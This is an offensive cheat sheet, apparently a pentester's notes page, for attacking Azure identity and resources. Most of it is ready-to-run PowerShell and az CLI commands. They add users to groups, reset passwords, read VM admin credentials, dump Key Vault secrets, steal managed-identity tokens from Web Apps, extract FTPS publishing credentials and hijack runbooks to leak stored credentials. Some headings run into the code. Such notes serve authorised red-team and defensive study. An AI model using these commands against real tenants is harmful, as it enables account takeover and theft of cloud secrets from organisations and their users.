IAM and Resource Attacks
Token Scoping
It is important to consider the scope of your access token when enumerating Azure objects - often times a token scoped to https://management.azure.com will return an error when attempting to access the data plane, such as accessing an Azure blob via https://storage.azure.com.
IAM
Add users to groups, change owned objects, etc. Recall that dynamic group membership may be exploited via guest account invitation.
# Add user to group
Add-AZADGroupMember -TargetGroupObjectId IDIDID -MemberObjectId IDIDID
# Reset user password
Update-MgUser -UserId $userUPN -PasswordProfile @{ ForceChangePasswordNextSignIn = $false; Password = $newPassword }Storage Accounts
Blob storage accounts can often have hidden or deleted files from previous versions.
# URLs
Try listing containers and version ID on blobs through URLs for XML dump
# PowerShell
$ctx = (New-AzStorageContext -StorageAccountName storageacct)
Get-AzStorageContainer -Context $ctx
# Get old version blobs if needed
Get-AzStorageBlob -Context $ctx -Container '$web' -VersionId '2025-08-07T21:08:03.6678148Z' -Blob 'scripts-transfer.zip' Virtual Machines
Azure management -> Query OS configuration, admin password, network interfaces, etc.
Shell -> Metadata endpoint or Custom Script Extensions.
# List info
Get-AzVM
az vm list # OSProfile lists Admin user/password and public keys.
# Look for public IP addresses to access VMs.
az vm list-ip-addresses
# Metadata endpoint
Invoke-RestMethod -Headers @{"Metadata"="true"} -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | fl *
# Custom Script Extensions
ls C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\Key Vaults
Dump key vault secrets and keys
# List secrets
az keyvault secret list --vault-name 'VAULT01'
# Display secret
az keyvault secret show --vault-name 'VAULT01' --name 'SECRET01'Web Apps
A common attack vector is RCE or SSRF to the Azure internal management URL. Note that requests require an IDENTITY_HEADER specified and the metadata endpoint port is randomized under IDENTITY_ENDPOINT. Web apps can be configured to deploy code via FTP over TLS (FTPS).
# Grab Azure token
(Invoke-RestMethod -Headers @{ "X-Identity-Header" = $env:IDENTITY_HEADER } -Uri "$($env:IDENTITY_ENDPOINT)?api-version=2019-08-01&resource=https://management.azure.com/").access_token
# Graph Graph token
(Invoke-RestMethod -Headers @{ "X-Identity-Header" = $env:IDENTITY_HEADER } -Uri "$($env:IDENTITY_ENDPOINT)?api-version=2019-08-01&resource=https://graph.windows.com/").access_token
# CONVERT GRAPH TOKEN TO SECURE STRING
Connect-AzAccount -AccessToken [TOKEN] -GraphAccessToken [GRAPHTOK] -AccountId [sub CLAIM FROM JWT]
# Query Web App config for FTPS
(Get-AzWebApp -ResourceGroupName 'RG1' -Name 'SITE1').SiteConfig
$webAppName = "SITE1"
$resourceGroupName = "RG1"
$publishingProfileXml = [xml](Get-AzWebAppPublishingProfile -Name $webAppName -ResourceGroupName $resourceGroupName -OutputFile null)
$username = $publishingProfileXml.SelectSingleNode("//publishData/publishProfile[@publishMethod='MSDeploy']").userName
$password = $publishingProfileXml.SelectSingleNode("//publishData/publishProfile[@publishMethod='MSDeploy']").userPWD
$ftpsProfile = $publishingProfileXml.SelectSingleNode("//publishData/publishProfile[@publishMethod='FTP']")
$ftpsUrl = $ftpsProfile.publishUrl
$username
$password
$ftpsUrlFunction Apps
Dump Function app functions to discover API schema and find more vulnerabilities. Look for managed identities and execute code as a contributor.
$functionApp = "Function1"
$resourceGroup = "RG1"
Invoke-AzRestMethod -Path "/subscriptions/$((Get-AzContext).Subscription.Id)/resourceGroups/$resourceGroup/providers/Microsoft.Web/sites/$functionApp/functions?api-version=2022-03-01"Automation Accounts, Runbooks, and Variables
Azure Runbooks are automated scripts used to quickly manage or deploy cloud resources. Automation accounts can be associated with these runbooks to manage resource access.
# List info
Get-AzAutomationAccount
Get-AzAutomationRunbook -ResourceGroup RG1 -AutomationAccountName acct1
# Look for global automation secrets
Get-AzAutomationVariable -ResourceGroupName RG1 -AutomationAccountName acct1
# Export the runbook script
Export-AzAutomationRunbook -Name runbook1
# If you have write access, you can hijack the runbook and leak credentials
$cred = Get-AutomationPSCredential -Name automate-default
$cred.GetNetworkCredential().UserName
$cred.GetNetworkCredential().PasswordLast updated